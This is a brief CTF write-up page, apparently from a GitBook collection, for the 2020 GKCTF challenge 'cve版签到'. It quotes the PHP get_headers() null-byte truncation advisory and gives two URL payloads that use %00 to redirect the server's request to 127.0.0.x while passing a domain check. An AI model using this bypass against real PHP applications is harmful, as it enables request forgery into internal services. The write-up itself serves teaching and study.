> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-gkctf/cve-ban-qian-dao.md).

# cve版签到

\0截断

{% hint style="info" %}
In PHP versions 7.2.x below 7.2.29, 7.3.x below 7.3.16 and 7.4.x below 7.4.4, while using get\_headers() with user-supplied URL, if the URL contains zero (\0) character, the URL will be silently truncated at it. This may cause some software to make incorrect assumptions about the target of the get\_headers() and possibly send some information to a wrong server.
{% endhint %}

构造payloads，送回本机：

```
?url=http://127.0.0.1%00www.ctfhub.com
```

根据hint访问123

```
?url=http://127.0.0.123%00www.ctfhub.com
```